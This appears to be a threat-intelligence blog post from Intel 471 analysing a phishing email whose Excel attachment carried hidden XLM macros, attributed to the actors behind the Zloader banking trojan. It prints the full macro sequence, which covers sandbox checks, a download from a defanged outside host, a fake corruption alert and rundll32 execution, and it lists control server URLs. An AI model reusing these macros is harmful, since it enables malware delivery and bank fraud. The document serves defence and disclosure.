Analysis of an attempted attack against Intel 471

By the Intel 471 Malware Intelligence team.

Background

The following write-up is our analysis of an attack attempted against one of our employees this week. At no point was our employee’s system at risk of being compromised. Interestingly, the employee’s email address only had been used in very few instances externally. We are releasing this information publicly to share tactics, techniques and procedures (TTPs) and encourage others to share similar incidents.

Summary

The threat actor that sent this malspam campaign demonstrated good operational security (OPSEC) by hiding their infrastructure behind professional bulletproof hosting (BPH) services and by filtering traffic to hide final payloads from curious researchers. The actor used a series of tools in this operation, including KeitaroTDS, a malicious Microsoft Excel spreadsheet document builder and the Zloader banking trojan (aka Terdot).

Considering the nature of the malspam documents (usually named “Invoice”) and the use of a banking trojan, we assess the intended goal of the attackers was to make unauthorized bank transfers from victim accounts.

Email details

The following email was sent to ****@intel471.com 5:26:11 p.m. GMT, Monday, March 23, 2020:

The sender was an AOL mail account, using the AOL mail portal and a Windows machine using the Google Chrome browser (if the user agent can be trusted).

Sender IP address

The mail was received from the Yahoo mail netspace.

Excel spreadsheet details

The spreadsheet’s metadata contained the following information:

The document implemented malicious Excel 4.0 Macros (XLM) to download and execute the secondary stage payload.

These macros were present in a hidden sheet named “DiOAFArhpr”. The macros were written vertically, character-by-character inside different cells. This approach was employed to bypass detection since analysis tools can fail to retrieve the command strings.

The executed macros were:

=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<381, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), 
 ,CLOSE(TRUE))

=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,
 "hxxps://grpxmqnrb[.]pw/egrg4g3g",
 "c:\Users\Public\fef2fff.html",0,0)

=ALERT("The workbook cannot be opened or repaired 
 by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open",
 "C:\Windows\system32\rundll32.exe",
 "c:\Users\Public\fef2fff.html,DllRegisterServer",0,5)

The DLL at the location hxxps://grpxmqnrb[.]pw/egrg4g3g was retrieved and saved under “C:\Users\Public\fef2fff.html” before being executed.

As shown in the HTTP request below, the malicious server performed a redirection to the GitHub software development platform (GitHub was advised) and downloaded a dynamic link library (DLL) from a public repository.

Examining it revealed it does nothing but pop the Windows calculator.

Clearly, we have received a decoy payload.

Network artifact research

The malicious Excel document contained a macro that downloaded a file from:

grpxmqnrb[.]pw

The domain name probably was created solely for this campaign because it was created only days ago and appears to have no legitimate web presence.

An instance of KeitaroTDS (Traffic Directional System) was found on this domain:

The domain has the following DNS records:

We can see the domain is administered via DNSPod, a product of Chinese company Tencent (https://dnspod.cloud.tencent.com/).

The IP address in the address record or “A record” belongs to Alibaba Cloud aka Aliyun.

This IP address was identified by our intelligence team as hosted by the well-known Russian-based BPH service yalishanda. The actor yalishanda’s service offers a reverse proxy network that abuses cloud providers, such as Alibaba-Cloud, Tencent Cloud, Google Cloud and others. The service uses the Chinese based free DNS provider DNSPOD to rotate client domains across the reverse proxy network. This can be thought of as a host-based fast-flux service. The fact the threat actors behind this attack have the ability to access and pay for BPH infrastructure lends more credence to the idea they are a somewhat capable and well-resourced group.

The following table contains information on the SSL certificate used by the domain:

Passive DNS Results

Passive DNS results showed plenty of similar and recent activity associated with the IP address 8.208.28[.]247.

Reconstructing the attack

We initially were unable to download the intended payload from hxxps://grpxmqnrb[.]pw/egrg4g3g, but by following the trail of infrastructure and record of activity, we were able to reproduce the steps and continue the investigation.

The file invoice-522.xls (SHA256: 34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa) was analyzed on the VirusTotal intelligence platform and found to communicate with the same IP address, although via a different domain and file path. This likely is a previous campaign by the same threat actor or group.

This analysis provided a successful fetch of the initial payload: 06afeaf2b0b985e0d9e048ea8ef0231026cac4c03d3ddf45f6a4ab18d884505c

This payload is an exact match of the one received by Amirreza Niakanlahiji and Pedram Amini in their blog post on a previous campaign from the same actors (see: https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros). They received a payload that contacted some unknown controllers:

• hxxps://aquolepp[.]pw/milagrecf.php
• hxxps://dhteijwrb[.]host/milagrecf.php

We recognized these as Zloader control server addresses because they are re-using the milagrecf.php file path for their controller URLs.

Was it possible our campaign was unrelated? As an analyst, one must always approach an investigation with a healthy dose of skepticism. A few instances of similar behavior can be coincidental. We should look for patterns of behavior to learn how the operation works.

By pivoting on the response content, we found several similar URLs first seen recently:

The pattern of behavior is becoming clear. Most of these domains can be linked to malicious Excel documents apparently created by the same malicious document builder. Based on the research, we can attribute some TTPs to this threat actor.

Tactics, techniques and procedures

The threat actor proved to have access to many resources in the criminal underground and is comfortable with a range of tools to run the operation. The following TTPs were observed:

• Hiding infrastructure behind BPH from the known vendor yalishanda. See Brian Krebs’ blog post on yalishanda here.
• Using a malicious Excel document builder to craft documents for malspam campaigns.
• Using KeitaroTDS for routing traffic and controlling campaign infrastructure.
• Using Zloader banking trojan for establishing control on victim machines and staging additional payloads such as hidden virtual network computing (HVNC) and launching web-injects.
• Using legitimate secure sockets layer (SSL) certificates signed by Let’s Encrypt.

Indicators of compromise

These can be downloaded in CSV format here.

Ten articles before and after

REvil Ransomware-as-a-Service: An analysis of a…

Understanding the relationship between Emotet, Ryuk…

COVID-19 pandemic: Through the eyes of a cybercriminal

Changes in REvil ransomware version 2.2

A brief history of TA505

Malicious actors leverage Coronavirus Disease 2019…

Introducing Intel 471’s Cybercrime Underground General…

Intelligence requirements: Moving from concept to…

Melting the deep and dark web myth and why we hate the…

No, the criminal underground isn’t dropping its use of…